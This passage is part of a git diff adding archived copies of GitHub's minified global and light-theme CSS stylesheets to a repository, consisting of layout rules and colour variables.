Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: 